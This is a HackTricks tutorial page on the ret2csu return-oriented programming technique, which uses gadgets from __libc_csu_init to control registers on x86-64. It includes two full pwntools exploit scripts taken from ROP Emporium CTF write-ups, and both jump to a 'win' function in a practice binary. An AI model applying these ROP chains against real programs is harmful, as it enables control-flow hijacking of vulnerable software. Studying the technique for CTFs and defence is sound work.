{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
https://www.scs.stanford.edu/brop/bittau-brop.pdfBasic Information
ret2csu is a hacking technique used when you're trying to take control of a program but can't find the gadgets you usually use to manipulate the program's behavior.
When a program uses certain libraries (like libc), it has some built-in functions for managing how different pieces of the program talk to each other. Among these functions are some hidden gems that can act as our missing gadgets, especially one called __libc_csu_init
.
In __libc_csu_init
, there are two sequences of instructions (gadgets) to highlight:
- The first sequence lets us set up values in several registers (rbx, rbp, r12, r13, r14, r15). These are like slots where we can store numbers or addresses we want to use later.
pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;
This gadget allows us to control these registers by popping values off the stack into them.
- The second sequence uses the values we set up to do a couple of things:
- Move specific values into other registers, making them ready for us to use as parameters in functions.
- Perform a call to a location determined by adding together the values in r15 and rbx, then multiplying rbx by 8.
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
- Maybe you don't know any address to write there and you need a
ret
instruction. Note that the second gadget will also end in aret
, but you will need to meet some conditions in order to reach it:
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret
The conditions will be:
[r12 + rbx*8]
must be pointing to an address storing a callable function (if no idea and no pie, you can just use_init
func):- If _init is at
0x400560
, use GEF to search for a pointer in memory to it and make[r12 + rbx*8]
be the address with the pointer to _init:
- If _init is at
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
rbp
andrbx
must have the same value to avoid the jump- There are some omitted pops you need to take into account
Another way to control rdi
and rsi
from the ret2csu gadget is by accessing it specific offsets:
https://www.scs.stanford.edu/brop/bittau-brop.pdf
Check this page for more info:
{% content-ref url="brop-blind-return-oriented-programming.md" %} brop-blind-return-oriented-programming.md {% endcontent-ref %}
Imagine you want to make a syscall or call a function like write()
but need specific values in the rdx
and rsi
registers as parameters. Normally, you'd look for gadgets that set these registers directly, but you can't find any.
Here's where ret2csu comes into play:
- Set Up the Registers: Use the first magic gadget to pop values off the stack and into rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), and r15.
- Use the Second Gadget: With those registers set, you use the second gadget. This lets you move your chosen values into
rdx
andrsi
(from r14 and r13, respectively), readying parameters for a function call. Moreover, by controllingr15
andrbx
, you can make the program call a function located at the address you calculate and place into[r15 + rbx*8]
.
You have an example using this technique and explaining it here, and this is the final exploit it used:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028
rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0) # r12
rop.raw(0) # r13
rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX!
rop.raw(RW_LOC) # r15 - holds location of called function!
rop.raw(REG_CALL) # all the movs, plus the call
p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
{% hint style="warning" %}
Note that the previous exploit isn't meant to do a RCE
, it's meant to just call a function called win
(taking the address of win
from stdin calling gets in the ROP chain and storing it in r15) with a third argument with the value 0xdeadbeefcafed00d
.
{% endhint %}
The following exploit was extracted from this page where the ret2csu is used but instead of using the call, it's bypassing the comparisons and reaching the ret
after the call:
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
from pwn import *
# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b * 0x4007b0')
# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)
# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)
# Padding from start of input to saved return address
payload = "0"*0x28
# Our first gadget, and the values to be popped from the stack
# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX
# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15
# Finally the address of ret2win
payload += ret2win
# Send the payload
target.sendline(payload)
target.interactive()
Usually these cases are also vulnerable to ret2plt + ret2lib, but sometimes you need to control more parameters than are easily controlled with the gadgets you find directly in libc. For example, the write()
function requires three parameters, and finding gadgets to set all these directly might not be possible.
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.